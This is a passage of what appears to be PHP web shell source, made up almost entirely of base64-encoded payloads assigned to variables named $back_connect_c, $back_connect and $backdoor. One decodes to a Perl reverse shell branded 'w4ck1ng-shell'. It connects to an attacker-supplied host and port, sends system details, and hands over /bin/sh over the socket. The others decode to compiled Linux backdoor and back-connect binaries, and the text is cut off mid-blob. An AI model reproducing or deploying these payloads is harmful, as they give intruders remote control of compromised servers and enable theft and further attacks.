HhtQThTelpuZ2RVZTE3VzdqRy9OK0Q3UEMwOWxyZjNnY25MZTl0UzczSmgrei95dGEvVWVEeXBsVDhqVUJ3ZkdsVHhNMzN4OHdJbXB0TmlINmJUMG9DSjZmVFZnTkxYV2FDdjEva3ducmJodnVIK3l1bDFGdU9iMytYRGZFSi9ITWZGTzE0MU1KKytFekF4b05CUGg0NEI5V3pBeElCNk9XQmlRUDE3d01TQWVodnVSKzZyblA2TkFKZVB2cEh3VEMyZWh6MDNXRzE5R2pBeG9tcUN5ajZnZjRwNVFSTXphbEhReEl4eWc5eWZENHY4VndaTkRDbkUvZGN4cEc0TG1oaFM5d1ZOREtudkJVME1LZlRIRnZMOFpWUmJUd2ROVEtralFXVVBac0g0NFZsd3hQTDRaU1hMdng0ME1hZmVDNXFZVTRTcm8yRk96VWNUdkUvNVExaFlvZlFKL1Jrc3JqQXhxWlpXbUpoVTExZVltRlFkRlNZbTFSMFZKaWJWY0lXSlNiVzN3c1NrUWw5MGNyd1d3SGdkcUREYmU3QkMyYzlaWUQrUFZaZ1lWbS9DL1Y1Ti9rU0ZpV24xUVlXSmFYVldwWWxwaGY0M2RFeXJ4a29UMCtxeVN0VmZpT2QvVmFXSmNYV1R0a2FHOEVNRHp2Y2RwZmJqNklzVDJocWNmZytCL2VvZytwOE5rRjhDWmgrTEY1RDUvQWZERXR2QTBhZUgvVXh1NnU3Rmd3UGQwdWVvQ2VkZkNqci9WRUg0TytsaHBuaW1LZEd5ZkREZ3pXMEdNUGdVeVBnbGdiRU1IUGRzWm5QcnBMajFEQ0JtSUVKL05wSTlZNUFaaFNCOG1KRWszOUdCYndXTHh4MENXY3lvQVAyc1BCVzArR1o2NzduNzFxN0owTXVtUm5zWHlHQW1EbmRyczFIL0VtRHZRaGVMTWRsMVBIVUNMNXNTTkIyeDJQeURPeWs2dXNRMzk2T1ZtL2h1V3N5U3FJY001OGNqOSt2UHJUNHRLOElpOXdHUTA3Q2RQc0k0SThUNTBObDlvT0lDWDg1VU1SOXllQkZrbk5aTjJXSmdlQk0vcnh6S29SektvUnpLb1J6S29SektvUnpLb1J6S29SektvUnpLb1J6S29SektvUnpLb1J6S29SektvUnpLb1J6S29SektvUnpLb1J6S29SeitiNFQvQmpmcENFd0FHQUVBIjsKCiRiYWNrX2Nvbm5lY3RfYz0iZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxMkFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvLytEeEJDRDdBei9kZVRvNFB6Ly80UEVFSTFsOUZ0ZVg4bkRrRldKNVZkV1U0UHNET2dBQUFBQVc0SEQ2aEVBQU9pQy9QLy9qWU1nLy8vL2paTWcvLy8vaVVYd0tkQXg5c0g0QWpuR2N4YUoxNG4yL3hTeWkwM3dLZmxHd2ZrQ09jNkorbkx1ZzhRTVcxNWZ5Y09KOWxXSjVWZFdVK2dBQUFBQVc0SERtUkVBQUkyRElQLy8vNDI3SVAvLy95bjR3ZmdDZyt3TWpYRC82d1dRL3hTM1RvUCsvM1gzNkM0QUFBQ0R4QXhiWGwvSnc1Q1FWWW5sVTFLN0xKa0VDS0VzbVFRSTZ3cU5kZ0NENndULzBJc0RnL2ovZGZSWVc4bkRWWW5sVStnQUFBQUFXNEhETXhFQUFGRG9PdjMvLzFsYnljTUFBQU1BQUFBQkFBSUFjbTBnTFdZZ0FBQUFBQUFBQUFBQUFBQUFBQUFBV3kxZElHTnZibTVsWTNRb0tRQnphQ0F0YVFBdlltbHVMM05vQUFBQUFBQUFBQUQvLy8vL0FBQUFBUC8vLy84QUFBQUFBQUFBQUFFQUFBQWtBQUFBREFBQUFMQ0VCQWdOQUFBQTBJZ0VDQVFBQUFCSWdRUUlCUUFBQUNTREJBZ0dBQUFBNUlFRUNBb0FBQUM4QUFBQUN3QUFBQkFBQUFBVkFBQUFBQUFBQUFNQUFBQU1tZ1FJQWdBQUFJQUFBQUFVQUFBQUVRQUFBQmNBQUFBd2hBUUlFUUFBQUNpRUJBZ1NBQUFBQ0FBQUFCTUFBQUFJQUFBQS92Ly9id2lFQkFqLy8vOXZBUUFBQVBELy8yL2dnd1FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUNaQkFnQUFBQUFBQUFBQU42RUJBanVoQVFJL29RRUNBNkZCQWdlaFFRSUxvVUVDRDZGQkFoT2hRUUlYb1VFQ0c2RkJBaCtoUVFJam9VRUNKNkZCQWl1aFFRSXZvVUVDTTZGQkFnQUFBQUFBQUFBQURpWkJBZ0FSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFMbk41YlhSaFlnQXVjM1J5ZEdGaUFDNXphSE4wY25SaFlnQXVhVzUwWlhKd0FDNXViM1JsTGtGQ1NTMTBZV2NBTG1oaGMyZ0FMbVI1Ym5ONWJRQXVaSGx1YzNSeUFDNW5iblV1ZG1WeWMybHZiZ0F1WjI1MUxuWmxjbk5wYjI1ZmNnQXVjbVZzTG1SNWJnQXVjbVZzTG5Cc2RBQXVhVzVwZEFBdWRHVjRkQUF1Wm1sdWFRQXVjbTlrWVhSaEFDNWxhRjltY21GdFpRQXVZM1J2Y25NQUxtUjBiM0p6QUM1cVkzSUFMbVI1Ym1GdGFXTUFMbWR2ZEFBdVoyOTBMbkJzZEFBdVpHRjBZUUF1WW5OekFDNWpiMjF0Wlc1MEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFBQUFBUUFBQUFJQUFBQVVnUVFJRkFFQUFCTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJd0FBQUFjQUFBQUNBQUFBS0lFRUNDZ0JBQUFnQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQURFQUFBQUZBQUFBQWdBQUFFaUJCQWhJQVFBQW5BQUFBQVFBQUFBQUFBQUFCQUFBQUFRQUFBQTNBQUFBQ3dBQUFBSUFBQURrZ1FRSTVBRUFBRUFCQUFBRkFBQUFBUUFBQUFRQUFBQVFBQUFBUHdBQUFBTUFBQUFDQUFBQUpJTUVDQ1FEQUFDOEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFFY0FBQUQvLy85dkFnQUFBT0NEQkFqZ0F3QUFLQUFBQUFRQUFBQUFBQUFBQWdBQUFBSUFBQUJVQUFBQS92Ly9id0lBQUFBSWhBUUlDQVFBQUNBQUFBQUZBQUFBQVFBQUFBUUFBQUFBQUFBQVl3QUFBQWtBQUFBQ0FBQUFLSVFFQ0NnRUFBQUlBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBR3dBQUFBSkFBQUFBZ0FBQURDRUJBZ3dCQUFBZ0FBQUFBUUFBQUFMQUFBQUJBQUFBQWdBQUFCMUFBQUFBUUFBQUFZQUFBQ3doQVFJc0FRQUFCY0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQUFBQUFFQUFBQUdBQUFBeUlRRUNNZ0VBQUFRQVFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUhzQUFBQUJBQUFBQmdBQUFOaUZCQWpZQlFBQStBSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ0JBQUFBQVFBQUFBWUFBQURRaUFRSTBBZ0FBQm9BQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBaHdBQUFBRUFBQUFDQUFBQTdJZ0VDT3dJQUFBNUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJOEFBQUFCQUFBQUFnQUFBQ2lKQkFnb0NRQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNaQUFBQUFRQUFBQU1BQUFBc21RUUlMQWtBQUFnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW9BQUFBQUVBQUFBREFBQUFOSmtFQ0RRSkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS2NBQUFBQkFBQUFBd0FBQUR5WkJBZzhDUUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDc0FBQUFCZ0FBQUFNQUFBQkFtUVFJUUFrQUFNZ0FBQUFGQUFBQUFBQUFBQVFBQUFBSUFBQUF0UUFBQUFFQUFBQURBQUFBQ0pvRUNBZ0tBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUxvQUFBQUJBQUFBQXdBQUFBeWFCQWdNQ2dBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBRERBQUFBQVFBQUFBTUFBQUJZbWdRSVdBb0FBQXdBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBeVFBQUFBZ0FBQUFEQUFBQVpKb0VDR1FLQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNNEFBQUFCQUFBQUFBQUFBQUFBQUFCa0NnQUFEZ0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFjZ3NBQU5jQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUlBQUFBQUFBQUFBQUFBQUt3UUFBQkFCUUFBR3dBQUFDd0FBQUFFQUFBQUVBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBRHNGUUFBTEFNQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRUNBQUFBQUFEQUFNQUFBQUFBT1NCQkFnQUFBQUFBd0FFQUFBQUFBQWtnd1FJQUFBQUFBTUFCUUFBQUFBQTRJTUVDQUFBQUFBREFBWUFBQUFBQUFpRUJBZ0FBQUFBQXdBSEFBQUFBQUFvaEFRSUFBQUFBQU1BQ0FBQUFBQUFNSVFFQ0FBQUFBQURBQWtBQUFBQUFMQ0VCQWdBQUFBQUF3QUtBQUFBQUFESWhBUUlBQUFBQUFNQUN3QUFBQUFBMklVRUNBQUFBQUFEQUF3QUFBQUFBTkNJQkFnQUFBQUFBd0FOQUFBQUFBRHNpQVFJQUFBQUFBTUFEZ0FBQUFBQUtJa0VDQUFBQUFBREFBOEFBQUFBQUN5WkJBZ0FBQUFBQXdBUUFBQUFBQUEwbVFRSUFBQUFBQU1BRVFBQUFBQUFQSmtFQ0FBQUFBQURBQklBQUFBQUFFQ1pCQWdBQUFBQUF3QVRBQUFBQUFBSW1nUUlBQUFBQUFNQUZBQUFBQUFBREpvRUNBQUFBQUFEQUJVQUFBQUFBRmlhQkFnQUFBQUFBd0FXQUFBQUFBQmttZ1FJQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBREFCZ0FBQUFBQUFBQUFBQUFBQUFBQXdBWkFBQUFBQUFBQUFBQUFBQUFBQU1BR2dBQUFBQUFBQUFBQUFBQUFBQURBQnNBQVFBQUFQeUZCQWdBQUFBQUFnQU1BQkVBQUFBQUFBQUFBQUFBQUFRQThmOGNBQUFBTEprRUNBQUFBQUFCQUJBQUtnQUFBRFNaQkFnQUFBQUFBUUFSQURnQUFBQThtUVFJQUFBQUFBRUFFZ0JGQUFBQVlKb0VDQUFBQUFBQkFCWUFTUUFBQUdTYUJBZ0JBQUFBQVFBWEFGVUFBQUFnaGdRSUFBQUFBQUlBREFCckFBQUFWSVlFQ0FBQUFBQUNBQXdBRVFBQUFBQUFBQUFBQUFBQUJBRHgvM2NBQUFBd21RUUlBQUFBQUFFQUVBQ0VBQUFBT0prRUNBQUFBQUFCQUJFQWtRQUFBQ2lKQkFnQUFBQUFBUUFQQUo4QUFBQThtUVFJQUFBQUFBRUFFZ0NyQUFBQXJJZ0VDQUFBQUFBQ0FBd0F3UUFBQUFBQUFBQUFBQUFBQkFEeC84Z0FBQUFBQUFBQUhBRUFBQklBQUFEWkFBQUFRSmtFQ0FBQUFBQVJBQk1BNGdBQUFBQUFBQUJ4QUFBQUVnQUFBUE1BQUFEc2lBUUlCQUFBQUJFQURnRDZBQUFBQUFBQUFBc0NBQUFTQUFBQURBRUFBQ3laQkFnQUFBQUFFQUx4L3gwQkFBQmNtZ1FJQUFBQUFCRUNGZ0FxQVFBQWFJZ0VDRUlBQUFBU0FBd0FPZ0VBQUFBQUFBQjlBQUFBRWdBQUFFd0JBQUN3aEFRSUFBQUFBQklBQ2dCU0FRQUFBQUFBQUt3QkFBQVNBQUFBWkFFQUFOaUZCQWdBQUFBQUVnQU1BR3NCQUFBQUFBQUFyd0FBQUJJQUFBQjlBUUFBTEprRUNBQUFBQUFRQXZIL2tBRUFBQlNJQkFoU0FBQUFFZ0FNQUtBQkFBQUFBQUFBSndBQUFCSUFBQUMxQVFBQVpKb0VDQUFBQUFBUUFQSC93UUVBQUlDR0JBaVRBUUFBRWdBTUFNWUJBQUFBQUFBQTNRQUFBQklBQUFEakFRQUFMSmtFQ0FBQUFBQVFBdkgvOUFFQUFBQUFBQUE2QUFBQUVnQUFBQVFDQUFBQUFBQUFxZ0VBQUJJQUFBQVdBZ0FBV0pvRUNBQUFBQUFnQUJZQUlRSUFBTkNJQkFnQUFBQUFFZ0FOQUNjQ0FBQXNtUVFJQUFBQUFCQUM4Zjg3QWdBQUFBQUFBRFlBQUFBU0FBQUFUQUlBQUFBQUFBRFpBQUFBRWdBQUFGd0NBQUFBQUFBQUtBQUFBQklBQUFCc0FnQUFaSm9FQ0FBQUFBQVFBUEgvY3dJQUFBeWFCQWdBQUFBQUVRQVZBSWtDQUFCb21nUUlBQUFBQUJBQThmK09BZ0FBQUFBQUFBNEFBQUFTQUFBQW53SUFBQUFBQUFCNEFBQUFFZ0FBQUxJQ0FBQXNtUVFJQUFBQUFCQUM4Zi9GQWdBQThJZ0VDQVFBQUFBUkFBNEExQUlBQUZpYUJBZ0FBQUFBRUFBV0FPRUNBQUFBQUFBQU9RQUFBQklBQUFEekFnQUFBQUFBQUFBQUFBQWdBQUFBQndNQUFDeVpCQWdBQUFBQUVBTHgveDBEQUFBQUFBQUFBQUFBQUNBQUFBQUFZMkZzYkY5bmJXOXVYM04wWVhKMEFHTnlkSE4wZFdabUxtTUFYMTlEVkU5U1gweEpVMVJmWHdCZlgwUlVUMUpmVEVsVFZGOWZBRjlmU2tOU1gweEpVMVJmWHdCd0xqQUFZMjl0Y0d4bGRHVmtMakVBWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHWnlZVzFsWDJSMWJXMTVBRjlmUTFSUFVsOUZUa1JmWHdCZlgwUlVUMUpmUlU1RVgxOEFYMTlHVWtGTlJWOUZUa1JmWHdCZlgwcERVbDlGVGtSZlh3QmZYMlJ2WDJkc2IySmhiRjlqZEc5eWMxOWhkWGdBWW1GamF5NWpBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFYMFJaVGtGTlNVTUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyUnpiMTlvWVc1a2JHVUFYMTlzYVdKalgyTnpkVjltYVc1cEFITjVjM1JsYlVCQVIweEpRa05mTWk0d0FGOXBibWwwQUdSaFpXMXZia0JBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJ6ZEhKc1pXNUFRRWRNU1VKRFh6SXVNQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5c2FXSmpYMk56ZFY5cGJtbDBBR2x1WlhSZllXUmtja0JBUjB4SlFrTmZNaTR3QUY5ZlluTnpYM04wWVhKMEFHMWhhVzRBWDE5c2FXSmpYM04wWVhKMFgyMWhhVzVBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZaVzVrQUdSMWNESkFRRWRNU1VKRFh6SXVNQUJ6ZEhKallYUkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUY5bWFXNXBBRjlmY0hKbGFXNXBkRjloY25KaGVWOWxibVFBWW5wbGNtOUFRRWRNU1VKRFh6SXVNQUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMlZ1WkFCb2RHOXVjMEJBUjB4SlFrTmZNaTR3QUdOdmJtNWxZM1JBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZjM1JoY25RQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTl3Y21WcGJtbDBYMkZ5Y21GNVgzTjBZWEowQUY5ZloyMXZibDl6ZEdGeWRGOWZBQT09IjsKCiRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU95YzdEUW9rYzNsemRHVnRNVDBnSjJWamFHOGdJbUJwWkdBaU95YzdEUW9rYzNsemRHVnRNajBnSjJWamFHOGdJbUJ3ZDJSZ0lqc25PdzBLSkhONWMzUmxiVE05SUNkbFkyaHZJQ0pnZDJodllXMXBZRUJnYUc5emRHNWhiV1ZnT240Z1BpSTdKenNOQ2lSemVYTjBaVzAwUFNBbkwySnBiaTl6YUNjN0RRb2tNRDBrWTIxa093MEtKSFJoY21kbGREMGtRVkpIVmxzd1hUc05DaVJ3YjNKMFBTUkJVa2RXV3pGZE93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tkR0Z5WjJWMEtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFva2NHRmtaSEk5YzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUNScFlXUmtjaWtnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJ5YjNSdlBXZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LVHNOQ25OdlkydGxkQ2hUVDBOTFJWUXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENBa2NISnZkRzhwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DbU52Ym01bFkzUW9VMDlEUzBWVUxDQWtjR0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ205d1pXNG9VMVJFU1U0c0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJQVlZRc0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lDSStKbE5QUTB0RlZDSXBPdzBLY0hKcGJuUWdJbHh1WEc0Nk9pQjNOR05yTVc1bkxYTm9aV3hzSUNoUWNtbDJZWFJsSUVKMWFXeGtJSFl3TGpNcElISmxkbVZ5YzJVZ2MyaGxiR3dnT2pwY2JseHVJanNOQ25CeWFXNTBJQ0pjYmxONWMzUmxiU0JKYm1adk9pQWlPeUFOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ25CeWFXNTBJQ0pjYmxsdmRYSWdTVVE2SUNJN0lBMEtjM2x6ZEdWdEtDUnplWE4wWlcweEtUc05DbkJ5YVc1MElDSmNia04xY25KbGJuUWdSR2x5WldOMGIzSjVPaUFpT3lBTkNuTjVjM1JsYlNna2MzbHpkR1Z0TWlrN0RRcHdjbWx1ZENBaVhHNGlPdzBLYzNsemRHVnRLQ1J6ZVhOMFpXMHpLVHNnYzNsemRHVnRLQ1J6ZVhOMFpXMDBLVHNOQ21Oc2IzTmxLRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7CgokYmFja2Rvb3I9ImYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBb0lVRUNEUUFBQUQ0RWdBQUFBQUFBRFFBSUFBSEFDZ0FJZ0FmQUFZQUFBQTBBQUFBTklBRUNEU0FCQWpnQUFBQTRBQUFBQVVBQUFBRUFBQUFBd0FBQUJRQkFBQVVnUVFJRklFRUNCTUFBQUFUQUFBQUJBQUFBQUVBQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJckFrQUFLd0pBQUFGQUFBQUFCQUFBQUVBQUFDc0NRQUFySmtFQ0t5WkJBZzBBUUFBT0FFQUFBWUFBQUFBRUFBQUFnQUFBTUFKQUFEQW1RUUl3SmtFQ01nQUFBRElBQUFBQmdBQUFBUUFBQUFFQUFBQUtBRUFBQ2lCQkFnb2dRUUlJQUFBQUNBQUFBQUVBQUFBQkFBQUFGSGxkR1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUVBQUFBTDJ4cFlpOXNaQzFzYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUFBQUFBQkVBQUFBVEFBQUFBQUFBQUFBQUFBQVFBQUFBRVFBQUFBQUFBQUFBQUFBQUNRQUFBQWdBQUFBRkFBQUFBd0FBQUEwQUFBQUFBQUFBQUFBQUFBOEFBQUFLQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQkFBQUFBQUFBQUFjQUFBQUxBQUFBQUFBQUFBUUFBQUFNQUFBQURnQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEFBQ